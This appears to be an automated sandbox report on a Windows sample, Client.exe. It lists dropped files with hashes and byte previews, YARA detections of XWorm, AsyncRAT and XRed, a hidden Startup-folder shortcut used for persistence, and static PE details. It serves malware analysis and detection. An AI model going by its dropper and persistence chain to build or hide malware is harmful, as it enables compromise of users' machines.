Size (bytes):	1642
Entropy (8bit):	5.263911730149995
Encrypted:	false
SSDEEP:	24:bsF+0x0H1zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+2W1z+pAZewRDK4mW
MD5:	7BA176DCD57759004CFACD5D3FC4B031
SHA1:	F7E8B99DC7C37161984A516A71013E07489D761B
SHA-256:	AB6FFAD040CAE639FCE3C24E99012A6CEB8950690B3AA1BCA3CB292987AEB9EA
SHA-512:	67750184966189449E6A57F4B70F589B3383B4BE36A867408EE3C0D8CDC5A698F1F3BC994972715C825327CF0D7DE16B8AC2D8B87343EA4433C4068077EEEFDF
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vPHGtQQcq3N5D_KflnZnaQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\sgdQ3Ca.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.257336319414184
Encrypted:	false
SSDEEP:	24:bsF+0Bq6bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK++D+pAZewRDK4mW
MD5:	89787CE494DAD0C9FF160FF24C0D1EA3
SHA1:	FC844460EB6BBBA2B5ACE1C1D07B4E3014B83540
SHA-256:	E9F101A79698B1F7955BF5C772C678208279E03A1C11F879DA5BB2750F952852
SHA-512:	6EBA58610D57D72CCABB1C9E4FDB83EDF1431A7113BA8D168C78694D3554D2A2B51E705B679B8DE9E26FC665F617F22426CEFE15A98A2BF2B19F7A91B832AECF
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6SCnke6psz--SDSgDDhj5w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\sp1tcwz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.259761245260719
Encrypted:	false
SSDEEP:	24:bsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Q+pAZewRDK4mW
MD5:	5B321D307E0D1BC998F759D1EC316F99
SHA1:	8FA318E0F238EA29237527485C3DE7A3CDA9DB7C
SHA-256:	1986DB5F167BCED9F77D767454B4F15D785631B263A220ADF3444FC941BE9AA0
SHA-512:	F7533CA5E6FB12D702CA1AFB8E85AF1F41C491E2CFECAEC103520E1FD27C012E12ABFD5B5575C64CE007A4FB07DFA32EA9C0A4CE023E0CC0313A8676F044D100
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jBturPWi5e97z5M8j8Tqug">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\vmY6TFc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.253006652351882
Encrypted:	false
SSDEEP:	24:bsF+0HWSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+l+pAZewRDK4mW
MD5:	B6DB36089D7A4D76A36BA3515CBF4352
SHA1:	2D0D6E4E24E322BCF736D8EBA528AB30B8696A1C
SHA-256:	8875F80F4D40F3E9C7048FCC0AAA2E83CEC9E8B28BF09ADA25F07108DA978705
SHA-512:	E81D375C3045E09471928C7777384C222930F6ADE26537A461C2E75EBFB24510A1D81F145D47E0FE6E82030AD265A93D63ABF46053776DF38408C5A4B7608D2B
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ntt3gVbhIfIkdk4UTUZ1mw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\wVqoZgT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.272338562203519
Encrypted:	false
SSDEEP:	24:bsF+004SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Z4+pAZewRDK4mW
MD5:	87E1DCD563CFED4B66AF891D7EF24B3E
SHA1:	90857E7A9C47B21AE7317C12C5832AB46BBCC8CF
SHA-256:	01FC53680AFDC6F478A8B05A6D7A425A90E7A4DC799C65D7B9CC5BF16E91AE07
SHA-512:	4AC34CAB11DC550E9CB842512371BBB334E1DEB2FDB601EA5F2820A849133626DD0EB3DD504072B8ED09212FDBC0220F5F7693F7E4E7E384DA07BEAFE191EDFF
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="X891lGSS8Zsj47jKEBEwZw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\yBKjENo.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.270509751733609
Encrypted:	false
SSDEEP:	24:bsF+0NSLMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+XM+pAZewRDK4mW
MD5:	CA386A26160E45BA7FC07EE5B9F40744
SHA1:	7318DD81AC4983E9ADFD75D9F268DBEA2CAE9B81
SHA-256:	83F114DE7242F3A1DC20989D18CCB97ABEAC94D14BA0DE6EA8F3A2BD7E6F6223
SHA-512:	47A836B4FC4DEDBB16CC5BB4240894C65C7555B2179836608B1BAE9EE2A516C33001F274E460A3BEB451BC62A9920B5BA64445EEAF4DB97014200C1624DFAB84
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BWDZi4jRGNQT5iL5Yyf1cQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\zcYmXsO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2605225892239185
Encrypted:	false
SSDEEP:	24:bsF+00lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+9l+pAZewRDK4mW
MD5:	289EFFAA72174D0E049E64F2E3EF62C0
SHA1:	FFFD23CF907463F79A9A7BD979BA6FBA567CDAA9
SHA-256:	9E9B20B08597DB72FFC1AE3324FEA1F6F1899F8210A446D2305BA9983D1A777A
SHA-512:	E4FBA5328550ABEB86BE919866046679D23507FADACC1D5F33ADB00892AF486A9B25BB253DA9BCC9F253A02D156A5F26B81397D87E871E4135C17614EED2E405
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NO2K6Do5EcEfq0eMF1kggQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\~$d4Hrgcsl.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:WH25nJFV:WH2/
MD5:	FB5ABAA34A0BB284B640327B9745AAAC
SHA1:	7E1063A0F1DE0E83424399F104C1D3752BFAECDE
SHA-256:	12464C713EE2E0CBBDCF98FACF8AC034D34A9F4D221D7BB7A5C7D458AAEC0AF9
SHA-512:	0FB235A4475D72D9BB6A195F6DFE471152B91F6DE0967D4174298D0A3C228BFF0ED57F0A5F388833A7793BD90F6CA0D5A974D21D795938D8D96C079AB5D99294
Malicious:	false
Preview:	.user ..h.u.b.e.r.t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF3EB48EB1553B6490.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Download File

Process:	C:\Users\user\Desktop\._cache_Client.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Aug 22 10:10:24 2024, mtime=Thu Aug 22 10:10:24 2024, atime=Thu Aug 22 10:10:24 2024, length=38912, window=hide
Category:	dropped
Size (bytes):	765
Entropy (8bit):	5.036824919300594
Encrypted:	false
SSDEEP:	12:8AeG24KOTkChJY//v7LIwjAjsHkUHRmV:8KKVNfvAPUHRm
MD5:	E55DDDF24B156F4FE405EBEFF453481B
SHA1:	E9402E1D4690797DB862087125F28423A05AF522
SHA-256:	B94984B58A7FE06A3B824383BB06205B0E7DEA8DE51F43087F388CF7BA49062B
SHA-512:	20E2242FDAA8F835A79C1D0440E7EA6EE5ACF3075C3DE5116A13DF54310BEA709D036FAE1ADFBCBE9EBBDC4201419DE2F9426B0FD5EB68A2B87264D01CE47DF9
Malicious:	false
Preview:	L..................F.... ................................................v.:..DG..Yr?.D..U..k0.&...&.......y.Yd...nv....... ........t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B.YGY..........................d...A.p.p.D.a.t.a...B.V.1......YDY..Roaming.@......EW)B.YDY............................Y.R.o.a.m.i.n.g.....b.2......YMY .XClient.exe.H.......YMY.YMY..............................X.C.l.i.e.n.t...e.x.e.......Z...............-.......Y...........\|........C:\Users\user\AppData\Roaming\XClient.exe........\.....\.....\.....\.....\.X.C.l.i.e.n.t...e.x.e.`.......X.......651689...........hT..CrF.f4... .?O..Yc...,...E...hT..CrF.f4... .?O..Yc...,...E..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\XClient.exe

Download File

Process:	C:\Users\user\Desktop\._cache_Client.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.567572112864987
Encrypted:	false
SSDEEP:	768:sfY2+iiwtm97zy/+OTb7Z3lO7+Ft97TOhhmW:sQ2+iiwtm97zM+OTBFFt97TOhb
MD5:	D0124EA188E8309B62E57A1C1B1A24E3
SHA1:	DBBBD9E5D3C71CAAC9FCFABDF8F05A5609F35099
SHA-256:	EFD2C774E61C1A9D4D849199C7F04729CD073BA748EBD092CD86935043366C8C
SHA-512:	A9CB0C43AC147263E699EDF909DE5DBADED4B23DCC179FD08F51866D7E41FA1D24034D370F4F873CBAD9A1ACB313B4E2C9EB5F3CE7ED79FDFA63B1AA5D79AB46
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....9.f............................~.... ........@.. ....................................@.................................(...S.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................`.......H.......XX...S............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\Desktop\._cache_Client.exe

Download File

Process:	C:\Users\user\Desktop\Client.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.567572112864987
Encrypted:	false
SSDEEP:	768:sfY2+iiwtm97zy/+OTb7Z3lO7+Ft97TOhhmW:sQ2+iiwtm97zM+OTBFFt97TOhb
MD5:	D0124EA188E8309B62E57A1C1B1A24E3
SHA1:	DBBBD9E5D3C71CAAC9FCFABDF8F05A5609F35099
SHA-256:	EFD2C774E61C1A9D4D849199C7F04729CD073BA748EBD092CD86935043366C8C
SHA-512:	A9CB0C43AC147263E699EDF909DE5DBADED4B23DCC179FD08F51866D7E41FA1D24034D370F4F873CBAD9A1ACB313B4E2C9EB5F3CE7ED79FDFA63B1AA5D79AB46
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\Desktop\._cache_Client.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\Desktop\._cache_Client.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....9.f............................~.... ........@.. ....................................@.................................(...S.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................`.......H.......XX...S............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\Documents\IPKGELNTQY\ZQIXMVQGAH.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\IPKGELNTQY\~$ZQIXMVQGAH.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:WH25nJFV:WH2/
MD5:	FB5ABAA34A0BB284B640327B9745AAAC
SHA1:	7E1063A0F1DE0E83424399F104C1D3752BFAECDE
SHA-256:	12464C713EE2E0CBBDCF98FACF8AC034D34A9F4D221D7BB7A5C7D458AAEC0AF9
SHA-512:	0FB235A4475D72D9BB6A195F6DFE471152B91F6DE0967D4174298D0A3C228BFF0ED57F0A5F388833A7793BD90F6CA0D5A974D21D795938D8D96C079AB5D99294
Malicious:	false
Preview:	.user ..h.u.b.e.r.t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\IPKGELNTQY\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	762368
Entropy (8bit):	6.642018184138927
Encrypted:	false
SSDEEP:	12288:vMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9QU:vnsJ39LyjbJkQFMhmC+6GD93
MD5:	B2B36F3E560521D53BD607DD291E3C08
SHA1:	BD06A34548C2A028BD92B9C3E486FA6DA9523757
SHA-256:	B950370DE86A4496DA5959653B7370C9A8FFA6481698D463997951F534442CF9
SHA-512:	3896171D0AAD860ACA5CB53165757915E7C7F0A4273F0C2815751B9DFBEE0FFD6F9B444EDC0D9E082686ECD7CFD6ACE3D68A4C5BFCCD56AE57FA8A00CE8F660F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\IPKGELNTQY\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\IPKGELNTQY\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372207326925564
Encrypted:	false
SSDEEP:	6144:vFVfpi6ceLP/9skLmb0vyWWSPtaJG8nAge35OlMMhA2AX4WABlguNciL:9V1FyWWI/glMM6kF7qq
MD5:	92D484FCA71B85D85269746CB34E5ED5
SHA1:	3417F84157489064CE36616C7BAD29A6803F18D5
SHA-256:	2F2A29271996ACE2F00140318CBCCC11C0C652F377B2B42B3A294AD31E887112
SHA-512:	7FDD1449742BFFAEB3873C48D7D5284893B2A0A5432FB51BA6DCA50AD7D74F8894D423C4AFABA5AAE9CFB5E7C844B768E475B7E15C8CC4E2D009D504DA886589
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.\|n...................................................................................................................................................................................................................................................................................................................................................x.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.638882852177806
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 48.37% Win32 Executable (generic) a (10002005/4) 48.32% Win32 Executable Borland Delphi 7 (665061/41) 3.21% Win32 Executable Delphi generic (14689/80) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	Client.exe
File size:	801'792 bytes
MD5:	754aa1e8baa350cb36b05ddf8feb5bbe
SHA1:	e92550c30b6bc1d529e4d6b9dbdc1f282ab6945d
SHA256:	dcc01abef7d4734c5694c36f9f61238153c357e094bda00f173bf3dbbbbdedef
SHA512:	4b6e63cf2f2eedc2334865409348ccf7f6e6a122d8a9a2e0c1f21200b871e3542c976c9d4b88dea6cb9472d318ba815a602031964ecb5b6567047ab0717ce2d5
SSDEEP:	12288:WMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9+uRs:WnsJ39LyjbJkQFMhmC+6GD9Zu
TLSH:	5F058D22B6D18437D1761A3C8D6BA3A5583ABE512E38754F3BF81E4C9F3E78128152D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	9eb3c18c2ceea99a

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F6E24BA10EDh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F6E24BF4A35h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F6E24BF4634h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F6E24BF4A24h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F6E24BF4A98h
call 00007F6E24B9EBCBh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x19204	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
